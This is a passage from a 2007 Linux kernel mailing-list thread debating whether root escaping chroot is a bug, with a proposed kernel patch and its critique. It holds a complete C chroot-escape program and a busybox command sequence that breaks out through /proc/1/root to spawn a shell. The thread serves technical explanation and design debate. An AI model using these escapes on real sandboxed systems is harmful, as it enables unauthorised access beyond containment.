>  your new root.  After that you can chdir all way out to original
>  root.

Here is some code I wrote a while back to demonstrate that escape
method.

/*
 *  Break a chroot
 *
 *  Compile this with
 *
 *     gcc -static -Wall break-chroot.c -o break-chroot
 *
 *  Get a root shell in the chrooted environment and run
 *
 *    ./break-chroot
 *
 *  Nick Craig-Wood <nick@craig-wood.com>
 *
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <error.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>

#define SHELL "bin/sh"		/* no leading / */

int main(void)
{
    struct stat buf;
    if (chdir("/"))
	perror("chdir /"), exit(1);

    printf("Making escape tunnel\n");
    mkdir("/tmp", 01777);
    mkdir("/tmp/escape-tunnel", 0755);

    printf("Doing escape chroot leaving cwd behind\n");
    if (chroot("/tmp/escape-tunnel"))
	perror("chroot /tmp/escape-tunnel"), exit(1);

    printf("Exploit cwd being above the root and find a " SHELL " to run\n");
    do {
	printf("Going up...\n");
	if (chdir("../"))
	    perror("chdir ../"), exit(1);
    } while (stat(SHELL, &buf) != 0);

    printf("Chrooting back into the root directory\n");
    if (chroot("."))
	perror("chroot ."), exit(1);

    printf("If this doesn't error you are out of chroot!\n");
    if (execl(SHELL, SHELL, 0))
	perror("exec " SHELL), exit(1);

    printf("Something wicked happened!\n");
    return 1;
}

-- 
Nick Craig-Wood <nick@craig-wood.com> -- http://www.craig-wood.com/nick

Re: Chroot bug

[David Newall]

Alan Cox wrote:
>> Good call.  Though I suppose, since it's used 24x7 to aid security on 
>> countless production servers, that security dwarfs testing.  Still, 
>> debugging, yes that's valid.
>>
>> I don't suppose it makes and difference; whatever the purpose, a chroot 
>> that doesn't change the root is buggy.
>>     
>
> It does change the root, it just doesn't guarantee you can't change it
> back - which is correct POSIX, Unix, SuS behaviour. So either everyone
> else is wrong or you are.. I know who I am betting on
>   

Charming.  They really say that, do they?  Where?  I find no such thing, 
and I looked.  I did find Open Groups SuS which, similar to SCO's UNIX, 
says:
> The dot-dot entry in the root directory is interpreted to mean the 
> root directory itself. Thus, dot-dot cannot be used to access files 
> outside the subtree rooted at the root directory.

I feel I've presented a good case that that it's a bug.  You made a 
somewhat rude counter-claim, which I don't ascribe to malevolence.  
You're simply disinterested.  Nobody else cares, so why expend effort on 
it, right?  I'll let it drop, but it is a bug.

Re: Chroot bug

[David Newall]

Kyle Moffett wrote:
> David, please do tell myself and Adrian how "locking down" chroot() 
> the way you want will avoid letting root break out through any of the 
> above ways?

As has been said, there are thousands of ways to break out of a chroot.  
It's just that one of them should not be that chroot lets you walk out.  
I can't explain it clearer than that.  If you don't see it now you 
probably never will.

Re: Chroot bug

[Olivier Galibert]

On Wed, Sep 26, 2007 at 07:57:38PM +0930, David Newall wrote:
> As has been said, there are thousands of ways to break out of a chroot.  
> It's just that one of them should not be that chroot lets you walk out.  

chroot does not allow you to walk out if you're in.  It only allows
you to walk outside if you're *already* out.  That's the way it is
defined.  Those who want some kind of chroot for security reasons
should look at (BSD's ?) jail, and/or hypervisors.

  OG.

Re: Chroot bug

[Alan Cox]

> > The dot-dot entry in the root directory is interpreted to mean the 
> > root directory itself. Thus, dot-dot cannot be used to access files 
> > outside the subtree rooted at the root directory.

Which is behaviour chroot preserves properly.

The specification says explicitly

	"The process working directory is unaffected by chroot()."


chroot is not and never has been a security tool. People have built
things based upon the properties of chroot but extended (BSD jails, Linux
vserver) but they are quite different.

You could probably write yourself an LSM module to do this too

Alan

Re: Chroot bug

[David Newall]

Alan Cox wrote:
>>> The dot-dot entry in the root directory is interpreted to mean the 
>>> root directory itself. Thus, dot-dot cannot be used to access files 
>>> outside the subtree rooted at the root directory.
>>>       
>
> Which is behaviour chroot preserves properly.
>   

And yet it is the dot-dot entry which is used to access files outside 
the root.

> The specification says explicitly
>
> 	"The process working directory is unaffected by chroot()."
>   

Do you believe that when those words were first written, the hidden 
conflict, namely that it permits dot-dot to access files outside the 
subtree, was understood?  They would have said so if that were the case.

Re: Chroot bug

[David Newall]

Olivier Galibert wrote:
> chroot does not allow you to walk out if you're in.

You're mistaken.  Or more properly, further use of chroot lets you walk 
out.  This really has been said before, and before, and before.

    chroot("subtree");   // enter chroot
    chdir("/");    // now at subtree
    chroot("/tmp");   // now outside of chroot


BSD redefined chroot so that the working directory is set to the new 
root on subsequent uses of chroot; that's how they solved the bug.

Re: Chroot bug

[Alan Cox]

> >>> The dot-dot entry in the root directory is interpreted to mean the 
> >>> root directory itself. Thus, dot-dot cannot be used to access files 
> >>> outside the subtree rooted at the root directory.
> >>>       
> >
> > Which is behaviour chroot preserves properly.
> >   
> And yet it is the dot-dot entry which is used to access files outside 
> the root.

Read it again, and read all the words. Notably "the dot-dot entry *IN*
the root directory". When your current directory is above your root
directory you do not pass through that dot-dot entry.

> Do you believe that when those words were first written, the hidden 
> conflict, namely that it permits dot-dot to access files outside the 
> subtree, was understood?  

Yes. You need to remember the notion of chroot for "security" is a very
new one, and not one that it was designed for. Which as I've said twice
now is why things like vserver and BSD jails have evolved.

Alan

Re: Chroot bug

[Miloslav Semler]

Alan Cox napsal(a):
>> but many program use this as security feature. So do you think that bind 
>> may use vserver?
>>     
>
> It would be a lot stronger if it did. A bind running non-root will be
> probably safe. A bind running as root can be attacked and break out of a
> chroot trivially. I guess it depends how you run bind.
>   
but not bind with selinux. It can chroot, but not  does other things. So 
there is an question: Why we do not fix it. Tell me please some other 
reason than "you can workaround chroot other ways".

Re: Chroot bug

[Kyle Moffett]

On Sep 26, 2007, at 06:27:38, David Newall wrote:
> Kyle Moffett wrote:
>> David, please do tell myself and Adrian how "locking down" chroot 
>> () the way you want will avoid letting root break out through any  
>> of the above ways?
>
> As has been said, there are thousands of ways to break out of a  
> chroot.  It's just that one of them should not be that chroot lets  
> you walk out.  I can't explain it clearer than that.  If you don't  
> see it now you probably never will.

Let me put it this way:  You *CANNOT* enforce chroot() the way you  
want to without a completely unacceptable performance penalty.  Let's  
start with the simplest example of:

fd = open("/", O_DIRECTORY);
chroot("/foo");
fchdir(fd);
chroot(".");

If you had ever actually looked at the Linux VFS, it is completely  
*impossible* to tell whether "fd" at the time of the chroot is inside  
or outside of "/foo" without tracking an enormous amount of extra  
state.  Even then, any such determination may not be valid since an  
FD may be opened to an inode which is hardlinked at multiple  
locations in the directory tree.  It could also be bind-mounted at  
multiple locations, or it may not even be mounted at all in this  
namespace (CDROM that was lazy-unmounted).  That FD may be later  
passed over an open UNIX-domain socket from another process.   
Moreover, arbitrarily closing FDs would break a huge number of  
programs.  Furthermore, since you can't fix the "trivial" case of  
'fchdir()', then there's no point in even *attempting* to fix the  
"cwd is outside of chroot" problem, although that is basically  
equivalent in difficulty to fixing the "dir-fd is outside of chroot"  
problem.

As for the nested-chroot() bit, the root user inside of a chroot is  
always allowed to chroot().  This is necessary for test-suites for  
various distro installers, chroot once to enter the installer  
playpen, installer chroots again to configure the test-installed- 
system.  Once you allow a second chroot, you're back at the "can't  
reliably and efficiently track directory sub-tree members" problem.

So if you think it can and should be fixed, then PROVIDE THE CODE.

Cheers,
Kyle Moffett

Re: Chroot bug

[Miloslav Semler]

[-- Attachment #1: Type: text/plain, Size: 2407 bytes --]

Kyle Moffett napsal(a):
> On Sep 26, 2007, at 06:27:38, David Newall wrote:
>> Kyle Moffett wrote:
>>> David, please do tell myself and Adrian how "locking down" chroot() 
>>> the way you want will avoid letting root break out through any of 
>>> the above ways?
>>
>> As has been said, there are thousands of ways to break out of a 
>> chroot.  It's just that one of them should not be that chroot lets 
>> you walk out.  I can't explain it clearer than that.  If you don't 
>> see it now you probably never will.
>
> Let me put it this way:  You *CANNOT* enforce chroot() the way you 
> want to without a completely unacceptable performance penalty.  Let's 
> start with the simplest example of:
>
> fd = open("/", O_DIRECTORY);
> chroot("/foo");
> fchdir(fd);
> chroot(".");
>
> If you had ever actually looked at the Linux VFS, it is completely 
> *impossible* to tell whether "fd" at the time of the chroot is inside 
> or outside of "/foo" without tracking an enormous amount of extra state.
so there *is* solution. It is possible. I solved it. I have patch and it 
is working. So if you find some way how to break it I woud glad if you 
tell me it.
> Even then, any such determination may not be valid since an FD may be 
> opened to an inode which is hardlinked at multiple locations in the 
> directory tree.  It could also be bind-mounted at multiple locations, 
> or it may not even be mounted at all in this namespace (CDROM that was 
> lazy-unmounted).  That FD may be later passed over an open UNIX-domain 
> socket from another process.  Moreover, arbitrarily closing FDs would 
> break a huge number of programs.  Furthermore, since you can't fix the 
> "trivial" case of 'fchdir()', then there's no point in even 
> *attempting* to fix the "cwd is outside of chroot" problem, although 
> that is basically equivalent in difficulty to fixing the "dir-fd is 
> outside of chroot" problem.
>
> As for the nested-chroot() bit, the root user inside of a chroot is 
> always allowed to chroot().  This is necessary for test-suites for 
> various distro installers, chroot once to enter the installer playpen, 
> installer chroots again to configure the test-installed-system.  Once 
> you allow a second chroot, you're back at the "can't reliably and 
> efficiently track directory sub-tree members" problem.
>
> So if you think it can and should be fixed, then PROVIDE THE CODE.
Miloslav Semler

[-- Attachment #2: sys_chroot+sys_fchdir.patch --]
[-- Type: text/x-diff, Size: 3265 bytes --]

diff -Nrp linux-2.6.16.53/fs/namei.c linux-2.6.16.53-new/fs/namei.c
*** linux-2.6.16.53/fs/namei.c	2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/namei.c	2007-09-15 16:13:50.000000000 +0200
*************** static __always_inline void follow_dotdo
*** 728,733 ****
--- 728,772 ----
  	}
  	follow_mount(&nd->mnt, &nd->dentry);
  }
+ long directory_is_out(struct vfsmount *wdmnt, struct dentry *wdentry,
+ 		struct vfsmount *rootmnt, struct dentry *root)
+ {
+ 	struct nameidata oldentry, newentry;
+ 	long ret = 1;
+ 	
+         read_lock(&current->fs->lock);
+ 	oldentry.dentry = dget(wdentry);
+ 	oldentry.mnt = mntget(wdmnt);
+         read_unlock(&current->fs->lock);
+ 	newentry.dentry = oldentry.dentry;
+ 	newentry.mnt = oldentry.mnt;
+ 	
+ 	follow_dotdot(&newentry);
+ 	/* check it */
+ 	if(newentry.dentry == root && 
+ 		newentry.mnt == rootmnt){
+ 		ret = 0;
+ 		goto out;
+ 	}
+ 	
+ 	while(oldentry.mnt != newentry.mnt ||
+ 		oldentry.dentry != newentry.dentry){
+ 		
+ 		memcpy(&oldentry, &newentry, sizeof(struct nameidata));
+ 		follow_dotdot(&newentry);
+ 		
+ 		/* check it */
+ 		if(newentry.dentry == root && 
+ 			newentry.mnt == rootmnt){
+ 			ret = 0;
+ 			goto out;
+ 		}
+ 	}
+ out:
+ 	dput(newentry.dentry);
+ 	mntput(newentry.mnt);
+ 	return ret;
+ }
  
  /*
   *  It's more convoluted than I'd like it to be, but... it's still fairly
diff -Nrp linux-2.6.16.53/fs/open.c linux-2.6.16.53-new/fs/open.c
*** linux-2.6.16.53/fs/open.c	2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/open.c	2007-09-15 16:14:52.000000000 +0200
*************** dput_and_out:
*** 560,565 ****
--- 560,567 ----
  out:
  	return error;
  }
+ long directory_is_out(struct vfsmount *, struct dentry*, 
+ 		struct vfsmount *, struct dentry *);
  
  asmlinkage long sys_fchdir(unsigned int fd)
  {
*************** asmlinkage long sys_fchdir(unsigned int 
*** 581,586 ****
--- 583,591 ----
  	error = -ENOTDIR;
  	if (!S_ISDIR(inode->i_mode))
  		goto out_putf;
+ 	if (directory_is_out(mnt, dentry, current->fs->rootmnt, 
+ 				current->fs->root))
+ 		goto out_putf;
  
  	error = file_permission(file, MAY_EXEC);
  	if (!error)
*************** out:
*** 594,600 ****
  asmlinkage long sys_chroot(const char __user * filename)
  {
  	struct nameidata nd;
! 	int error;
  
  	error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
  	if (error)
--- 599,605 ----
  asmlinkage long sys_chroot(const char __user * filename)
  {
  	struct nameidata nd;
! 	int error, set_wd = 0;
  
  	error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
  	if (error)
*************** asmlinkage long sys_chroot(const char __
*** 607,615 ****
--- 612,631 ----
  	error = -EPERM;
  	if (!capable(CAP_SYS_CHROOT))
  		goto dput_and_out;
+ 	error = -ENOTDIR;
+ 	/*
+ 	if (directory_is_out(nd.mnt, nd.dentry, current->fs->rootmnt,
+ 				current->fs->root))
+ 		goto dput_and_out;
+ 		*/
+ 	set_wd = directory_is_out(current->fs->pwdmnt, current->fs->pwd, 
+ 				nd.mnt, nd.dentry);
  
  	set_fs_root(current->fs, nd.mnt, nd.dentry);
  	set_fs_altroot();
+ 	/* if wd is out, reset it to . */
+ 	if(set_wd)
+ 		set_fs_pwd(current->fs, nd.mnt, nd.dentry);
  	error = 0;
  dput_and_out:
  	path_release(&nd);

Re: Chroot bug

[Bongani Hlope]

On Wednesday 26 September 2007 13:06:51 David Newall wrote:
> Alan Cox wrote:
> >>> The dot-dot entry in the root directory is interpreted to mean the
> >>> root directory itself. Thus, dot-dot cannot be used to access files
> >>> outside the subtree rooted at the root directory.
> >
> > Which is behaviour chroot preserves properly.
>
> And yet it is the dot-dot entry which is used to access files outside
> the root.
>
> > The specification says explicitly
> >
> > 	"The process working directory is unaffected by chroot()."
>
> Do you believe that when those words were first written, the hidden
> conflict, namely that it permits dot-dot to access files outside the
> subtree, was understood?  They would have said so if that were the case.

You seem to be misunderstanding what Alan is trying to say to you, if your 
program calls chroot, it's working directory is unaffected. Programs that are 
started in the chrooted root, will be affected.

i.e. if you run chroot in bash, the bash process's CWD is not affected and 
bash can escape the chrooted root, but if you run ls .., it will not escape.

If you do not get too emotional, you tend to understand what people are trying 
to say.

Re: Chroot bug

[linux-os (Dick Johnson)]

On Wed, 26 Sep 2007, David Newall wrote:

> Olivier Galibert wrote:
>> chroot does not allow you to walk out if you're in.
>
> You're mistaken.  Or more properly, further use of chroot lets you walk
> out.  This really has been said before, and before, and before.
>
>    chroot("subtree");   // enter chroot
>    chdir("/");    // now at subtree
>    chroot("/tmp");   // now outside of chroot
>
>
> BSD redefined chroot so that the working directory is set to the new
> root on subsequent uses of chroot; that's how they solved the bug.

I don't know that the so-called requirements are, but if you
have a distribution tree mounted on /mnt and you perform the
following operations:

cd /mnt
chroot . bin/bash

That shell, will not leave the new root until it exits or
executes `chroot`. I've tried the "tricks" about mounting
/proc and changing to 'cwd' of init, etc. However, your
new root needs to NOT have the chroot utility available
and/or the system call needs to be removed or trapped
in the runtime library of the new root, because, quite
obviously, a root process can do anything it wants.
That's how Unix was designed. So, if you don't want
somebody to get out of your 'jail' don't provide
the keys. It's clearly not a kernel issue.


Cheers,
Dick Johnson
Penguin : Linux version 2.6.22.1 on an i686 machine (5588.29 BogoMips).
My book : http://www.AbominableFirebug.com/
_


****************************************************************
The information transmitted in this message is confidential and may be privileged.  Any review, retransmission, dissemination, or other use of this information by persons or entities other than the intended recipient is prohibited.  If you are not the intended recipient, please notify Analogic Corporation immediately - by replying to this message or by sending an email to DeliveryErrors@analogic.com - and destroy all copies of this information, including any attachments, without reading or disclosing them.

Thank you.

Re: Chroot bug

[Al Viro]

On Wed, Sep 26, 2007 at 03:11:33PM +0200, Miloslav Semler wrote:
> >As for the nested-chroot() bit, the root user inside of a chroot is 
> >always allowed to chroot().  This is necessary for test-suites for 
> >various distro installers, chroot once to enter the installer playpen, 
> >installer chroots again to configure the test-installed-system.  Once 
> >you allow a second chroot, you're back at the "can't reliably and 
> >efficiently track directory sub-tree members" problem.
> >
> >So if you think it can and should be fixed, then PROVIDE THE CODE.
> Miloslav Semler

man openat

This is really pointless, anyway - any code that expects chroot to be
root-proof is terminally broken.

Re: Chroot bug

[Kyle Moffett]

On Sep 26, 2007, at 09:11:33, Miloslav Semler wrote:
> + long directory_is_out(struct vfsmount *wdmnt, struct dentry  
> *wdentry,
> + 		struct vfsmount *rootmnt, struct dentry *root)
> + {
> + 	struct nameidata oldentry, newentry;
> + 	long ret = 1;
> + 	
> +         read_lock(&current->fs->lock);
> + 	oldentry.dentry = dget(wdentry);
> + 	oldentry.mnt = mntget(wdmnt);
> +         read_unlock(&current->fs->lock);
> + 	newentry.dentry = oldentry.dentry;
> + 	newentry.mnt = oldentry.mnt;
> + 	
> + 	follow_dotdot(&newentry);
> + 	/* check it */
> + 	if(newentry.dentry == root &&
> + 		newentry.mnt == rootmnt){
> + 		ret = 0;
> + 		goto out;
> + 	}
> + 	
> + 	while(oldentry.mnt != newentry.mnt ||
> + 		oldentry.dentry != newentry.dentry){
> + 		
> + 		memcpy(&oldentry, &newentry, sizeof(struct nameidata));
> + 		follow_dotdot(&newentry);
> + 		
> + 		/* check it */
> + 		if(newentry.dentry == root &&
> + 			newentry.mnt == rootmnt){
> + 			ret = 0;
> + 			goto out;
> + 		}
> + 	}
> + out:
> + 	dput(newentry.dentry);
> + 	mntput(newentry.mnt);
> + 	return ret;
> + }

This is basically both painfully racy and easily broken with umount  
and/or access to proc.  See this busybox-compatible example:

## Set up chroot
mkdir /root1
mount -o mode=0750 -t tmpfs tmpfs /root1
cp -a /bin/busybox /root1/busybox

## Enter chroot
chroot /root1 /busybox

## Mount proc
/busybox mkdir /proc
/busybox mount -t proc proc /proc

## Poke around root filesystem (this may be all you need)
/busybox ls /proc/1/root/

## Detach our chroot so we're no longer a sub-directory
/busybox umount -l /proc/1/root/root1

## Now we can easily chroot to the original root, since it isn't in  
our ".." path
exec /busybox chroot /proc/1/root /bin/sh


See how easy that is?  Unless you stick the above parent-directory  
check (which is still racy against directories being moved around)  
for *EVERY* directory component of *EVERY* open/chdir-ish syscall,  
you are still going to be easily worked around through many different  
methods.

Cheers,
Kyle Moffett

Re: Chroot bug

[Alan Cox]

On Wed, 26 Sep 2007 13:34:53 +0200
Miloslav Semler <majkls@prepere.com> wrote:

> Alan Cox napsal(a):
> >> but many program use this as security feature. So do you think that bind 
> >> may use vserver?
> >>     
> >
> > It would be a lot stronger if it did. A bind running non-root will be
> > probably safe. A bind running as root can be attacked and break out of a
> > chroot trivially. I guess it depends how you run bind.
> >   
> but not bind with selinux. It can chroot, but not  does other things. So 
> there is an question: Why we do not fix it. Tell me please some other 
> reason than "you can workaround chroot other ways".

If you are using SELinux you don't need chroot for the security in the
first place you can use labels and LSM modules can also handle things
like ptrace which permit trivial escapes.

Alan

Re: Chroot bug

[Miloslav Semler]

Al Viro napsal(a):
> On Wed, Sep 26, 2007 at 03:11:33PM +0200, Miloslav Semler wrote:
>   
>>> As for the nested-chroot() bit, the root user inside of a chroot is 
>>> always allowed to chroot().  This is necessary for test-suites for 
>>> various distro installers, chroot once to enter the installer playpen, 
>>> installer chroots again to configure the test-installed-system.  Once 
>>> you allow a second chroot, you're back at the "can't reliably and 
>>> efficiently track directory sub-tree members" problem.
>>>
>>> So if you think it can and should be fixed, then PROVIDE THE CODE.
>>>       
>> Miloslav Semler
>>     
>
> man openat
>
> This is really pointless, anyway - any code that expects chroot to be
> root-proof is terminally broken.
>   
So thanks for information. I did't know anything about *at functions. So 
it seems to be more complicated. But maybe it will be good write to 
manpage "other systems implement it by other way, so this feature is 
unportable".

Re: Chroot bug

[Miloslav Semler]

>
> This is basically both painfully racy and easily broken with umount 
> and/or access to proc.  See this busybox-compatible example:
>
> ## Set up chroot
> mkdir /root1
> mount -o mode=0750 -t tmpfs tmpfs /root1
> cp -a /bin/busybox /root1/busybox
>
> ## Enter chroot
> chroot /root1 /busybox
>
> ## Mount proc
> /busybox mkdir /proc
> /busybox mount -t proc proc /proc
>
> ## Poke around root filesystem (this may be all you need)
> /busybox ls /proc/1/root/
>
> ## Detach our chroot so we're no longer a sub-directory
> /busybox umount -l /proc/1/root/root1
>
> ## Now we can easily chroot to the original root, since it isn't in 
> our ".." path
> exec /busybox chroot /proc/1/root /bin/sh
>
>
> See how easy that is?  Unless you stick the above parent-directory 
> check (which is still racy against directories being moved around) for 
> *EVERY* directory component of *EVERY* open/chdir-ish syscall, you are 
> still going to be easily worked around through many different methods.
>
so there is no discussion about mount & others. I think, if you have 
CAP_SYS_MOUNT/CAP_SYS_ADMIN, you need not solve chroot() and how to 
break it.

Re: Chroot bug

[Olivier Galibert]

On Wed, Sep 26, 2007 at 08:43:44PM +0930, David Newall wrote:
> Olivier Galibert wrote:
> >chroot does not allow you to walk out if you're in.
> 
> You're mistaken.  Or more properly, further use of chroot lets you walk 
> out.  This really has been said before, and before, and before.
> 
>    chroot("subtree");   // enter chroot
>    chdir("/");    // now at subtree
>    chroot("/tmp");   // now outside of chroot

Of course.  chroots are not a stack, they're just a point in the
namespace.  You change it, the conditions apply to the new one.


> BSD redefined chroot so that the working directory is set to the new 
> root on subsequent uses of chroot; that's how they solved the bug.

They didn't solve a thing.  fchdir baby.  Unless you want to remove
fchdir.  And mknod.  And mount.  And so many other different syscalls
that I don't even know the list.

  OG.

Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)

[Bodo Eggert]

On Wed, 26 Sep 2007, David Newall wrote:

> Miloslav Semler pointed out that a root process can chdir("..") out of 
> its chroot.  Although this is documented in the man page, it conflicts 
> with the essential function, which is to change the root directory of 
> the process.

The root directory, '/' is changed, and if the process is capable of using
chroot, it may change the root directory again. Works as defined.

>  In addition to any creative uses, for example Philipp 
> Marek's loading dynamic libraries, it seems clear that the prime purpose 
> of chroot is to aid security.

As long as root has more than a safe subset of capabilities, root can escape 
a chroot.

Besides that, fchdir on open-at-chroot fds does not decrease the security, 
since the attacker needs help from the outside root, who is not restricted 
by chroot.

I'm more concerned about abstract unix sockets, they could be used to 
send a file descriptor to compromised daemons and extend exploits to
the outside of a chroot and across namespaces - at least I suspect it.
The whole f* family of syscalls would be affected. This can be cured by
e.g. not allowing to receive fds if the root+namespace do not match.

>  Being able to cd your way out is handy 
> for the bad guys, but the good guys don't need it; there are a thousand 
> better, safer solutions.

The good guys don't cd out, they open the instalkler archive, chroot to the 
new system root and extract it there. Then they chroot back using the saved 
cwd.

> If there truly is a need to be able to pop in and out of a chroot, then 
> the solution should be obvious, such as with real versus effective user 
> and group ids.  An important quality of a solution would be a way to fix 
> that essential function: to set the root in such a way that you can no 
> longer pop out.  But that is a separate question.

As in jail()?

As far as I know, the new virtualisation features sneaking into the kernel  
will allow implementing a jail, too, in a more secure way than any hacking 
on chroot can give.

> The question: is chroot buggy?  I'm pleased to turn to SCO for an 
> independent definition for chroot, from which I get the following:
> 
> http://osr600doc.sco.com/en/man/html.S/chroot.S.html:
> >
> > The *..* entry in the root directory is interpreted to mean the root 
> > directory itself. Thus, *..* cannot be used to access files outside 
> > the subtree rooted at the root directory.
> >
> 
> I argue chroot is buggy.  Miloslav's patch might not be the right 
> solution, but he has the right idea (i.e. fix it.)

There are implementations of chroot which imply chdir(), and not having f* 
functions, they can not _directly_ acces files outside the chroot. But as 
long as they can e.g. mknod /dev/mem or strace, they can do anything.

So let's not put a fingerprint sensor on that chinese paper door.
-- 
You know you're in trouble when packet floods are competing to flood you.
	-- grc.com

Re: Chroot bug

[Jiri Kosina]

On Wed, 26 Sep 2007, Miloslav Semler wrote:

> so there is no discussion about mount & others. I think, if you have 
> CAP_SYS_MOUNT/CAP_SYS_ADMIN, you need not solve chroot() and how to 
> break it.

CAP_SYS_PTRACE allows you to break out of chroot in a pretty trivial way 
too.

-- 
Jiri Kosina

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Bill Davidsen wrote: 
> It seems there are (at least) two parts to this, one regarding 
> changing working directory which is clearly stated in the standards 
> and must work as it does, and the various issues regarding getting out 
> of the chroot after the cwd has entered that changed root. That second 
> part seems to offer room for additional controls on getting out of the 
> chroot which do not violate any of the obvious standards, and which 
> therefore might be valid candidates for discussion on the basis of 
> benefit rather than portability.

Correct.  BSDs solved the problem by changing cwd on subsequent use of 
chroot; I think there's a better way.  I think the solution might be to 
add a "previous root", and restrict the process there as well as the new 
root.  That is, once cwd is set within the new root, that new root is 
the limit.  Prior to setting cwd within the new root, the previous root 
is the limit.

Re: sys_chroot+sys_fchdir Fix

[Bill Davidsen]

Theodore Tso wrote:
> On Thu, Sep 27, 2007 at 09:28:08AM +0200, Christer Weinigel wrote:
>   
>> So the OpenBSD man page seems to be in the minority here.  Any portable
>> code can not assume that CWD changes.  And changing the Linux behaviour
>> now would be a rather big change which might break userspace.  And yes,
>> there are applications that rely on this, I've used it when building
>> software for cross compiling.  
>>     
>
> Changing Linux behavior would violate the POSIX and SuSV2
> specifications; the standards explicitly state that the working
> directory will NOT change.  And standards adherance is important; we
> break them only if we have a d*mn good reason.  And trying to make
> chroot() something which it is not (i.e., a secure jail) is certainly
> not a good enough reason.
>
> Can we please end this thread now?  And can we put in a Kernel FAQ
> saying that this is not something which is NOT up for discussion?
>   
It seems there are (at least) two parts to this, one regarding changing 
working directory which is clearly stated in the standards and must work 
as it does, and the various issues regarding getting out of the chroot 
after the cwd has entered that changed root. That second part seems to 
offer room for additional controls on getting out of the chroot which do 
not violate any of the obvious standards, and which therefore might be 
valid candidates for discussion on the basis of benefit rather than 
portability.

-- 
bill davidsen <davidsen@tmr.com>
  CTO TMR Associates, Inc
  Doing interesting things with small computers since 1979

Re: sys_chroot+sys_fchdir Fix

[Theodore Tso]

On Thu, Sep 27, 2007 at 09:28:08AM +0200, Christer Weinigel wrote:
> So the OpenBSD man page seems to be in the minority here.  Any portable
> code can not assume that CWD changes.  And changing the Linux behaviour
> now would be a rather big change which might break userspace.  And yes,
> there are applications that rely on this, I've used it when building
> software for cross compiling.  

Changing Linux behavior would violate the POSIX and SuSV2
specifications; the standards explicitly state that the working
directory will NOT change.  And standards adherance is important; we
break them only if we have a d*mn good reason.  And trying to make
chroot() something which it is not (i.e., a secure jail) is certainly
not a good enough reason.

Can we please end this thread now?  And can we put in a Kernel FAQ
saying that this is not something which is NOT up for discussion?

       	    	    		  	   - Ted

Re: sys_chroot+sys_fchdir Fix

[Christer Weinigel]

On Thu, 27 Sep 2007 06:49:28 +0930
David Newall <david@davidnewall.com> wrote:

> For sure, "a root user can get out of a chroot a million different 
> ways."  Young Alan said as much at the beginning of this
> conversation, and I have always agreed.  I don't hope to secure Linux
> within chroot, simply to fix chroot so that it does what it says it
> does.
 
> The problem is leaving cwd unchanged.  Once you've set cwd within the 
> new root, dot-dot is promised to keep you within that root; and so it 
> does.  But by leaving cwd unchanged, if you do a subsequent chroot,
> that promise is suddenly broken.  I think this is a bug.  I think
> that behavior was not intended.  Not all agree with me, but obviously
> a lot do, otherwise OpenBSD and others wouldn't have addressed this
> exact issue.  Here's what they do:

So keep reading the links I gave you:

    http://www.unixwiz.net/techtips/chroot-practices.html

    The chroot call itself does not change the working directory, so
    if the new root is below the current directory, the application
    can still have access outside resources.

    http://www.bpfh.net/simes/computing/chroot-break.html

    chdir("/foo/bar");
    chroot("/foo/bar");

    Note the use of the chdir() call before the chroot() call. This is
    to ensure that the working directory of the process is within the
    chroot()ed area before the chroot() call takes place. This is due
    to most implementations of chroot() not changing the working
    directory of the process to within the directory the process is
    now chroot()ed in.

    http://www.faqs.org/faqs/unix-faq/programmer/secure-programming/

    The chroot() call itself will only change the root file system in
    the process' context. A chroot() call must be followed by a
    chdir("/") call in order to reset the current working directory.

So the OpenBSD man page seems to be in the minority here.  Any portable
code can not assume that CWD changes.  And changing the Linux behaviour
now would be a rather big change which might break userspace.  And yes,
there are applications that rely on this, I've used it when building
software for cross compiling.  

  /Christer

On Thu, 27 Sep 2007 06:49:28 +0930
David Newall <david@davidnewall.com> wrote:

> Christer Weinigel wrote:
> > *spends five minutes with Google*
> >
> > From the OpenBSD FAQ (an operating system most know for being
> > really, really focused on security):
> >
> >     http://www.openbsd.org/faq/faq10.html
> >
> >     Any application which has to assume root privileges to operate
> > is pointless to attempt to chroot(2), as root can generally escape a
> >     chroot(2).
> >   
> 
> For sure, "a root user can get out of a chroot a million different 
> ways."  Young Alan said as much at the beginning of this
> conversation, and I have always agreed.  I don't hope to secure Linux
> within chroot, simply to fix chroot so that it does what it says it
> does.
> 
> Look, when chroot was being designed, I think they intended that even 
> root should be unable to get out.  They went so far as to say that 
> dot-dot wouldn't let you out; and it doesn't.  It's not dot-dot
> that's the problem.  Even fchdir is no problem, because you choose
> which file descriptors to leave open.  Fchdir is actually one of the
> answers. ("What if we need a way to escape?")
> 
> The problem is leaving cwd unchanged.  Once you've set cwd within the 
> new root, dot-dot is promised to keep you within that root; and so it 
> does.  But by leaving cwd unchanged, if you do a subsequent chroot,
> that promise is suddenly broken.  I think this is a bug.  I think
> that behavior was not intended.  Not all agree with me, but obviously
> a lot do, otherwise OpenBSD and others wouldn't have addressed this
> exact issue.  Here's what they do:
> 
>     "If the program is already running with an altered root directory,
>     the process's current directory is changed to the same new root
>     directory.  This prevents the current directory from being further
>     up the directory tree than the altered root directory."
>     -- OpenBSD man 2 chroot
> 
> 
> This was no more than an attempt to fix a long-standing bug.
> 
> As stated, opinion is divided as to whether this is a bug.  I think
> it is, and many people agree, for example some of the BSDs and
> probably others; some people don't.  Young Alan, for example, ummm,
> strongly (is a good word) disagrees.  I don't see that it calls for
> nastiness or emotion, and although opinion on this august list is
> divided, apparently the nays are in the majority.  We should leave it
> at that.
> 

Re: sys_chroot+sys_fchdir Fix

[Adrian Bunk]

On Thu, Sep 27, 2007 at 04:12:53PM +0930, David Newall wrote:
> Adrian Bunk wrote:
>> You claimed:
>>
>> <--  snip  -->
>>
>> Look, when chroot was being designed, I think they intended that even root 
>> should be unable to get out. They went so far as to say that dot-dot 
>> wouldn't let you out; and it doesn't.
>>
>> <--  snip  -->
>>
>> You were clearly saying that whom you call "they" were the people who 
>> designed chroot. And it was you who was claiming in this statement that
>> "they" said it.
>
> You've ignored the operative phrase, "I think".

So you start a paragraph with "Look, when chroot was being designed" and 
